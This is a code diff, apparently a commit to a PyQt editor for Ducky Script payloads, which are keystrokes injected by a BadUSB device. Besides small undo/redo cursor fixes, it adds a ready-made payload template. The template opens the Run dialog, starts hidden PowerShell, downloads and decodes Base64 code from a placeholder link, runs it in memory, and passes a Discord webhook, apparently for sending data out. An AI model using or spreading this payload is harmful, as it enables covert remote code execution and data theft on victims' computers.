@@ -256,7 +256,8 @@ def refreshTemplates(self):
256
256
("New" , self .loadFreshCode ),
257
257
("Basic" , self .loadBasicCode ),
258
258
("Base64" , self .loadBase64Code ),
259
- ("Memory Execution" , self .loadMemoryExecutionCode )
259
+ ("Memory Execution" , self .loadMemoryExecutionCode ),
260
+ ("Memory Execution (Function)" , self .loadMemoryExecutionCodeANOTHA )
260
261
]
261
262
for name , callback in new_actions :
262
263
self .new_menu .addAction (QAction (name , self , triggered = callback ))
@@ -277,31 +278,33 @@ def undoAction(self):
277
278
if not self .history :
278
279
return
279
280
281
+ cursor = self .text_edit .textCursor ()
282
+ current_position = cursor .position ()
283
+
280
284
self .redo_stack .append ((self .text_edit .toHtml ()))
281
285
prev_state = self .history .pop ()
282
286
283
287
self .text_edit .textChanged .disconnect (self .colorizeText )
284
288
self .text_edit .setHtml (prev_state )
285
289
self .text_edit .textChanged .connect (self .colorizeText )
286
290
287
- cursor = self .text_edit .textCursor ()
288
- current_position = min (cursor .position (), len (prev_state ))
289
291
cursor .setPosition (current_position )
290
292
self .text_edit .setTextCursor (cursor )
291
293
292
294
def redoAction (self ):
293
295
if not self .redo_stack :
294
296
return
295
297
298
+ cursor = self .text_edit .textCursor ()
299
+ current_position = cursor .position ()
300
+
296
301
self .history .append ((self .text_edit .toHtml ()))
297
302
next_state = self .redo_stack .pop ()
298
303
299
304
self .text_edit .textChanged .disconnect (self .colorizeText )
300
305
self .text_edit .setHtml (next_state )
301
306
self .text_edit .textChanged .connect (self .colorizeText )
302
307
303
- cursor = self .text_edit .textCursor ()
304
- current_position = min (cursor .position (), len (next_state ))
305
308
cursor .setPosition (current_position )
306
309
self .text_edit .setTextCursor (cursor )
307
310
@@ -653,6 +656,18 @@ def loadBase64Code(self):
653
656
self .text_edit .setPlainText (base64_code )
654
657
self .colorizeText ()
655
658
659
+ def loadMemoryExecutionCodeANOTHA (self ):
660
+ memory_execution_codeANOTHA = """REM The script must interface with a Base64-encoded LINK for proper functionality.
661
+ DELAY 2000
662
+ GUI r
663
+ DELAY 1000
664
+ STRING powershell -NoP -W H iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((iwr LINK).Content)));FUNCTION -wh DISCORD WEBHOOK
665
+ DELAY 1000
666
+ ENTER"""
667
+ self .text_edit .setPlainText (memory_execution_codeANOTHA )
668
+ self .colorizeText ()
669
+
670
+
656
671
def main ():
657
672
app = QApplication (sys .argv )
658
673
app .setStyleSheet (dark_stylesheet )
0 commit comments